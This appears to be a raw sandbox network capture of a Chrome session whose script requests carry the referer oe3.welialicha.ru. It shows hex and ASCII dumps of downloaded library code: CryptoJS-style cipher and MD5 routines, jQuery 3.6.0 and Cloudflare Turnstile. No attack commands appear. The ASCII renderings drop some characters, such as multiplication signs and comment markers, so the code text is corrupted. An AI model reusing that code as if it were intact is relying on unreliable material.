2025-01-07 14:18:25 UTC	1369	IN	Data Raw: 66 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 Data Ascii: for(var t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3
2025-01-07 14:18:25 UTC	1369	IN	Data Raw: 31 3a 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 Data Ascii: 1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16
2025-01-07 14:18:25 UTC	1369	IN	Data Raw: 75 66 66 65 72 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 Data Ascii: uffer,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringi
2025-01-07 14:18:25 UTC	1369	IN	Data Raw: 3d 72 2e 63 68 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c Data Ascii: =r.charAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKL
2025-01-07 14:18:25 UTC	1369	IN	Data Raw: 61 62 73 28 61 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f Data Ascii: abs(a.sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o
2025-01-07 14:18:25 UTC	1369	IN	Data Raw: 5b 33 39 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c Data Ascii: [39]),m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.16	49724	151.101.2.137	443	4992	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 14:18:25 UTC	623	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://oe3.welialicha.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-07 14:18:25 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Tue, 07 Jan 2025 14:18:25 GMT Age: 1744031 X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740030-EWR X-Cache: HIT, HIT X-Cache-Hits: 2774, 7 X-Timer: S1736259505.064816,VS0,VE0 Vary: Accept-Encoding
2025-01-07 14:18:25 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-01-07 14:18:25 UTC	16384	IN	Data Raw: 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c Data Ascii: ,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]\|\|(a[S]={}))[a.uniqueID]\|
2025-01-07 14:18:25 UTC	16384	IN	Data Raw: 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e Data Ascii: "ms-").replace(z,U)}var V=function(e){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t\|\|(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.
2025-01-07 14:18:25 UTC	16384	IN	Data Raw: 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2c 6f 3d 30 3b 76 6f 69 64 20 30 21 3d 3d 28 6e 3d 65 5b 6f 5d 29 3b 6f 2b 2b 29 69 66 28 56 28 6e 29 29 7b 69 66 28 74 3d 6e 5b 59 2e 65 78 70 61 6e 64 6f 5d 29 7b 69 66 28 74 2e 65 76 65 6e 74 73 29 66 6f 72 28 72 20 69 6e 20 74 2e 65 76 65 6e 74 73 29 69 5b 72 5d 3f 53 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 6e 2c 72 29 3a 53 2e 72 65 6d 6f 76 65 45 76 65 Data Ascii: r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEve
2025-01-07 14:18:25 UTC	16384	IN	Data Raw: 53 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 3f 53 2e 70 72 6f 70 28 65 2c 74 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 53 2e 61 74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 53 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 63 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6c 6c 3d 3d 3d 6e 3f 76 6f 69 64 20 53 2e 72 65 6d Data Ascii: S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)\|\|(i=S.attrHooks[t.toLowerCase()]\|\|(S.expr.match.bool.test(t)?ct:void 0)),void 0!==n?null===n?void S.rem
2025-01-07 14:18:25 UTC	7581	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 69 2e 78 68 72 28 29 3b 69 66 28 72 2e 6f 70 65 6e 28 69 2e 74 79 70 65 2c 69 2e 75 72 6c 2c 69 2e 61 73 79 6e 63 2c 69 2e 75 73 65 72 6e 61 6d 65 2c 69 2e 70 61 73 73 77 6f 72 64 29 2c 69 2e 78 68 72 46 69 65 6c 64 73 29 66 6f 72 28 6e 20 69 6e 20 69 2e 78 68 72 46 69 65 6c 64 73 29 72 5b 6e 5d 3d 69 2e 78 68 72 46 69 65 6c 64 73 5b 6e 5d 3b 66 6f 72 28 6e 20 69 6e 20 69 2e 6d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 28 69 2e 6d 69 6d 65 54 79 70 65 29 2c 69 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 7c 7c 28 65 5b 22 58 2d 52 Data Ascii: :function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain\|\|e["X-Requested-With"]\|\|(e["X-R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.16	49727	104.18.94.41	443	4992	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 14:18:25 UTC	648	OUT	GET /turnstile/v0/g/849bfe45bf45/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://oe3.welialicha.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-07 14:18:25 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 07 Jan 2025 14:18:25 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47521 Connection: close accept-ranges: bytes last-modified: Thu, 02 Jan 2025 13:52:36 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8fe493b66b35de9a-EWR alt-svc: h3=":443"; ma=86400
2025-01-07 14:18:25 UTC	1369	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 57 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2025-01-07 14:18:25 UTC	1369	IN	Data Raw: 74 28 65 29 7b 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 29 29 72 65 74 75 72 6e 20 65 7d 66 75 6e 63 74 69 6f 6e 20 6a 74 28 65 2c 72 29 7b 76 61 72 20 6e 3d 65 3d 3d 6e 75 6c 6c 3f 6e 75 6c 6c 3a 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 7c 7c 65 5b 22 40 40 69 74 65 72 61 74 6f 72 22 5d 3b 69 66 28 6e 21 3d 6e 75 6c 6c 29 7b 76 61 72 20 6f 3d 5b 5d 2c 63 3d 21 30 2c 75 3d 21 31 2c 67 2c 68 3b 74 72 79 7b 66 6f 72 28 6e 3d 6e 2e 63 61 6c 6c 28 65 29 3b 21 28 63 3d 28 67 3d 6e 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 29 26 26 28 6f 2e 70 75 73 68 28 67 2e 76 61 6c 75 65 29 2c 21 28 72 26 26 6f 2e 6c 65 6e 67 74 68 3d 3d 3d 72 29 29 3b 63 3d 21 30 29 Data Ascii: t(e){if(Array.isArray(e))return e}function jt(e,r){var n=e==null?null:typeof Symbol!="undefined"&&e[Symbol.iterator]\|\|e["@@iterator"];if(n!=null){var o=[],c=!0,u=!1,g,h;try{for(n=n.call(e);!(c=(g=n.next()).done)&&(o.push(g.value),!(r&&o.length===r));c=!0)
2025-01-07 14:18:25 UTC	1369	IN	Data Raw: 5d 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 70 29 7b 69 66 28 6f 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 47 65 6e 65 72 61 74 6f 72 20 69 73 20 61 6c 72 65 61 64 79 20 65 78 65 63 75 74 69 6e 67 2e 22 29 3b 66 6f 72 28 3b 67 26 26 28 67 3d 30 2c 70 5b 30 5d 26 26 28 6e 3d 30 29 29 2c 6e 3b 29 74 72 79 7b 69 66 28 6f 3d 31 2c 63 26 26 28 75 3d 70 5b 30 5d 26 32 3f 63 2e 72 65 74 75 72 6e 3a 70 5b 30 5d 3f 63 2e 74 68 72 6f 77 7c 7c 28 28 75 3d 63 2e 72 65 74 75 72 6e 29 26 26 75 2e 63 61 6c 6c 28 63 29 2c 30 29 3a 63 2e 6e 65 78 74 29 26 26 21 28 75 3d 75 2e 63 61 6c 6c 28 63 2c 70 5b 31 5d 29 29 2e 64 6f 6e 65 29 72 65 74 75 72 6e 20 75 3b 73 77 69 74 63 68 28 63 3d 30 2c 75 26 26 28 70 3d 5b 70 5b 30 5d 26 32 2c 75 2e 76 61 6c Data Ascii: ])}}function l(p){if(o)throw new TypeError("Generator is already executing.");for(;g&&(g=0,p[0]&&(n=0)),n;)try{if(o=1,c&&(u=p[0]&2?c.return:p[0]?c.throw\|\|((u=c.return)&&u.call(c),0):c.next)&&!(u=u.call(c,p[1])).done)return u;switch(c=0,u&&(p=[p[0]&2,u.val
2025-01-07 14:18:25 UTC	1369	IN	Data Raw: 29 29 3b 76 61 72 20 50 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 2c 65 2e 4c 49 47 48 54 3d 22 6c 69 67 68 74 22 2c 65 2e 44 41 52 4b 3d 22 64 61 72 6b 22 7d 29 28 50 65 7c 7c 28 50 65 3d 7b 7d 29 29 3b 76 61 72 20 49 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 56 45 52 49 46 59 49 4e 47 3d 22 76 65 72 69 66 79 69 6e 67 22 2c 65 2e 56 45 52 49 46 59 49 4e 47 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 3d 22 76 65 72 69 66 79 69 6e 67 2d 68 61 76 69 6e 67 2d 74 72 6f 75 62 6c 65 73 22 2c 65 2e 56 45 52 49 46 59 49 4e 47 5f 4f 56 45 52 52 55 4e 3d 22 76 65 72 69 66 79 69 6e 67 2d 6f 76 65 72 72 75 6e 22 2c 65 2e 46 41 49 4c 55 52 45 5f 57 4f 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 3d 22 66 61 69 Data Ascii: ));var Pe;(function(e){e.AUTO="auto",e.LIGHT="light",e.DARK="dark"})(Pe\|\|(Pe={}));var Ie;(function(e){e.VERIFYING="verifying",e.VERIFYING_HAVING_TROUBLES="verifying-having-troubles",e.VERIFYING_OVERRUN="verifying-overrun",e.FAILURE_WO_HAVING_TROUBLES="fai
